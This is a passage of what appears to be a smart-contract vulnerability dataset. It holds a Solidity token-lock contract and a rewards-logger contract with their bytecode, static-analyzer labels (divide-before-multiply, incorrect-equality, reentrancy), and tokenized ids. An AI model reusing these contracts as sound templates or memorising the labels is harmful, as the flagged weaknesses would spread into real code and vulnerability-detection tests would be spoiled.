failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/LinearLockContract.sol pragma solidity >=0.4.22 <0.9.0; contract LinearLockContract { using SafeERC20 for IERC20; address public erc20; address public hodler; uint public releasePer; uint public releaseBegin; uint public releaseInterval; uint public lastWithdrawtime; constructor(address erc20_, uint releasePer_, uint releaseBegin_, uint releaseInterval_) { erc20 = erc20_; releasePer = releasePer_; releaseBegin = releaseBegin_; releaseInterval = releaseInterval_; lastWithdrawtime = releaseBegin_; hodler = msg.sender; } function withdraw() public { require(msg.sender == hodler, "invalid hodler"); require(block.timestamp > releaseBegin, "hodl the coin"); uint count = (lastWithdrawtime - releaseBegin) / releaseInterval; uint expectCount = (block.timestamp - releaseBegin) / releaseInterval; if (expectCount == 0) expectCount = 1; require(expectCount > count, "release not available yet"); count = expectCount - count; uint amount = count * releasePer; require(amount > 0, "be patient"); IERC20 token = IERC20(erc20); uint balance = token.balanceOf(address(this)); if (amount > balance) { amount = balance; } token.safeTransfer(msg.sender, amount); lastWithdrawtime = block.timestamp; } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063785e9e861161005b578063785e9e86146100d357806379601011146100e6578063c3ef8695146100ef578063e2bf335f146100f857600080fd5b80631f8db268146100825780633bc585321461009e5780633ccfd60b146100c9575b600080fd5b61008b60045481565b6040519081526020015b60405180910390f35b6001546100b1906001600160a01b031681565b6040516001600160a01b039091168152602001610095565b6100d1610101565b005b6000546100b1906001600160a01b031681565b61008b60055481565b61008b60035481565b61008b60025481565b6001546001600160a01b031633146101515760405162461bcd60e51b815260206004820152600e60248201526d34b73b30b634b2103437b23632b960911b60448201526064015b60405180910390fd5b60035442116101925760405162461bcd60e51b815260206004820152600d60248201526c3437b236103a34329031b7b4b760991b6044820152606401610148565b60006004546003546005546101a7919061069f565b6101b1919061065e565b90506000600454600354426101c6919061069f565b6101d0919061065e565b9050806101db575060015b81811161022a5760405162461bcd60e51b815260206004820152601960248201527f72656c65617365206e6f7420617661696c61626c6520796574000000000000006044820152606401610148565b610234828261069f565b91506000600254836102469190610680565b9050600081116102855760405162461bcd60e51b815260206004820152600a6024820152691899481c185d1a595b9d60b21b6044820152606401610148565b600080546040516370a0823160e01b81523060048201526001600160a01b03909116919082906370a082319060240160206040518083038186803b1580156102cc57600080fd5b505afa1580156102e0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061030491906105f6565b905080831115610312578092505b6103266001600160a01b0383163385610331565b505042600555505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610383908490610388565b505050565b60006103dd826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661045a9092919063ffffffff16565b80519091501561038357808060200190518101906103fb91906105d4565b6103835760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610148565b60606104698484600085610473565b90505b9392505050565b6060824710156104d45760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610148565b843b6105225760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610148565b600080866001600160a01b0316858760405161053e919061060f565b60006040518083038185875af1925050503d806000811461057b576040519150601f19603f3d011682016040523d82523d6000602084013e610580565b606091505b509150915061059082828661059b565b979650505050505050565b606083156105aa57508161046c565b8251156105ba5782518084602001fd5b8160405162461bcd60e51b8152600401610148919061062b565b6000602082840312156105e657600080fd5b8151801515811461046c57600080fd5b60006020828403121561060857600080fd5b5051919050565b600082516106218184602087016106b6565b9190910192915050565b602081526000825180602084015261064a8160408501602087016106b6565b601f01601f19169190910160400192915050565b60008261067b57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561069a5761069a6106e6565b500290565b6000828210156106b1576106b16106e6565b500390565b60005b838110156106d15781810151838201526020016106b9565b838111156106e0576000848401525b50505050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220642ddf8a579fe731cbf7886293d3bc4e74189add3aa58040caa9f357238eb63164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 2509, 2497, 2629, 2497, 19841, 2487, 12879, 2850, 2278, 4246, 23352, 2549, 2094, 21926, 18939, 2575, 23352, 2050, 18827, 23777, 12521, 2692, 2581, 2546, 27814, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4769, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3074, 1997, 4972, 3141, 2000, 1996, 4769, 2828, 1008, 1013, 3075, 4769, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 2995, 2065, 1036, 4070, 1036, 2003, 1037, 3206, 1012, 1008, 1008, 1031, 2590, 1033, 1008, 1027, 1027, 1027, 1027, 1008, 2009, 2003, 25135, 2000, 7868, 2008, 2019, 4769, 2005, 2029, 2023, 3853, 5651, 1008, 6270, 2003, 2019, 27223, 1011, 3079, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,394
0x96b3f82782a62e4dccb236f86665c550f6c0b6c0
// Sources flattened with hardhat v2.0.3 https://hardhat.org // File deps/@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File deps/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File deps/@openzeppelin/contracts-upgradeable/proxy/Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; // solhint-disable-next-line no-inline-assembly assembly { cs := extcodesize(self) } return cs == 0; } } // File deps/@openzeppelin/contracts-upgradeable/GSN/ContextUpgradeable.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // File deps/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol pragma solidity ^0.6.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; using AddressUpgradeable for address; struct RoleData { EnumerableSetUpgradeable.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // File contracts/badger-geyser/RewardsLogger.sol pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /* Log information related to rewards == Roles == Admins: Set managers Managers: Generate logs */ contract RewardsLogger is AccessControlUpgradeable { bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE"); struct UnlockSchedule { address beneficiary; address token; uint256 totalAmount; uint256 start; uint256 end; uint256 duration; } mapping(address => UnlockSchedule[]) public unlockSchedules; event UnlockScheduleSet( address indexed beneficiary, address token, uint256 totalAmount, uint256 start, uint256 end, uint256 duration, uint256 indexed timestamp, uint256 indexed blockNumber ); event UnlockScheduleModified( uint256 index, address indexed beneficiary, address token, uint256 totalAmount, uint256 start, uint256 end, uint256 duration, uint256 indexed timestamp, uint256 indexed blockNumber ); event DiggPegRewards(address indexed beneficiary, uint256 response, uint256 rate, uint256 indexed timestamp, uint256 indexed blockNumber); function initialize(address initialAdmin_, address initialManager_) external initializer { __AccessControl_init(); _setupRole(DEFAULT_ADMIN_ROLE, initialAdmin_); _setupRole(MANAGER_ROLE, initialManager_); } modifier onlyManager() { require(hasRole(MANAGER_ROLE, msg.sender), "onlyManager"); _; } // ===== Permissioned Functions: Manager ===== function setUnlockSchedule( address beneficiary, address token, uint256 totalAmount, uint256 start, uint256 end, uint256 duration ) external onlyManager { unlockSchedules[beneficiary].push(UnlockSchedule(beneficiary, token, totalAmount, start, end, duration)); emit UnlockScheduleSet(beneficiary, token, totalAmount, start, end, duration, block.number, block.timestamp); } function modifyUnlockSchedule( uint256 index, address beneficiary, address token, uint256 totalAmount, uint256 start, uint256 end, uint256 duration ) external onlyManager { unlockSchedules[beneficiary][index] = UnlockSchedule(beneficiary, token, totalAmount, start, end, duration); emit UnlockScheduleModified(index, beneficiary, token, totalAmount, start, end, duration, block.number, block.timestamp); } function setDiggPegRewards( address beneficiary, uint256 response, uint256 rate ) external onlyManager { emit DiggPegRewards(beneficiary, response, rate, block.number, block.timestamp); } /// @dev Return all unlock schedules for a given beneficiary function getAllUnlockSchedulesFor(address beneficiary) external view returns (UnlockSchedule[] memory) { return unlockSchedules[beneficiary]; } /// @dev Return all unlock schedules for a given beneficiary + token function getUnlockSchedulesFor(address beneficiary, address token) external view returns (UnlockSchedule[] memory) { UnlockSchedule[] memory schedules = unlockSchedules[beneficiary]; uint256 numMatchingEntries = 0; // Determine how many matching entries there are for (uint256 i = 0; i < schedules.length; i++) { UnlockSchedule memory schedule = schedules[i]; if (schedule.token == token) { numMatchingEntries += 1; } } UnlockSchedule[] memory result = new UnlockSchedule[](numMatchingEntries); uint256 resultIndex = 0; // Load matching entries into array for (uint256 i = 0; i < schedules.length; i++) { UnlockSchedule memory schedule = schedules[i]; if (schedule.token == token) { result[resultIndex] = schedule; resultIndex += 1; } } return result; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638824c62d11610097578063b4c30f7b11610066578063b4c30f7b1461022f578063ca15c87314610242578063d547741f14610255578063ec87621c1461026857610100565b80638824c62d146101c75780639010d07c146101e757806391d1485414610207578063a217fddf1461022757610100565b80633f91be89116100d35780633f91be8914610169578063485cc9551461017c57806351f6cf2f1461018f578063768f304f146101b457610100565b806318b1ed4714610105578063248a9ca31461011a5780632f2ff15d1461014357806336568abe14610156575b600080fd5b610118610113366004610f53565b610270565b005b61012d610128366004610f86565b6102f7565b60405161013a9190611159565b60405180910390f35b610118610151366004610f9e565b61030c565b610118610164366004610f9e565b610354565b610118610177366004610fee565b610396565b61011861018a366004610e9f565b6104fd565b6101a261019d366004610f29565b6105ad565b60405161013a96959493929190611066565b6101186101c2366004610ed3565b61060a565b6101da6101d5366004610e9f565b610737565b60405161013a91906110ca565b6101fa6101f5366004610fcd565b610916565b60405161013a9190611052565b61021a610215366004610f9e565b610935565b60405161013a919061114e565b61012d61094d565b6101da61023d366004610e84565b610952565b61012d610250366004610f86565b610a0b565b610118610263366004610f9e565b610a22565b61012d610a5c565b61028860008051602061135a83398151915233610935565b6102ad5760405162461bcd60e51b81526004016102a4906111f3565b60405180910390fd5b4243846001600160a01b03167fff0edf4f2c2209ff70a324a5e484d4b1d396e181f5728b8fc9687be95569092d85856040516102ea929190611336565b60405180910390a4505050565b60009081526033602052604090206002015490565b60008281526033602052604090206002015461032a90610215610a6e565b6103465760405162461bcd60e51b81526004016102a4906111a4565b6103508282610a72565b5050565b61035c610a6e565b6001600160a01b0316816001600160a01b03161461038c5760405162461bcd60e51b81526004016102a4906112b6565b6103508282610adb565b6103ae60008051602061135a83398151915233610935565b6103ca5760405162461bcd60e51b81526004016102a4906111f3565b6040518060c00160405280876001600160a01b03168152602001866001600160a01b031681526020018581526020018481526020018381526020018281525060656000886001600160a01b03166001600160a01b03168152602001908152602001600020888154811061043957fe5b6000918252602091829020835160069092020180546001600160a01b039283166001600160a01b03199182161782559284015160018201805491841691909416179092556040808401516002840155606084015160038401556080840151600484015560a090930151600590920191909155905142914391908916907f73308c1e2bba087ad4d8b417dd2cbebd8b710a325b5640161ba4ced138408f5c906104ec908c908b908b908b908b908b90611305565b60405180910390a450505050505050565b600054610100900460ff16806105165750610516610b44565b80610524575060005460ff16155b6105405760405162461bcd60e51b81526004016102a490611268565b600054610100900460ff1615801561056b576000805460ff1961ff0019909116610100171660011790555b610573610b4a565b61057e600084610346565b61059660008051602061135a83398151915283610346565b80156105a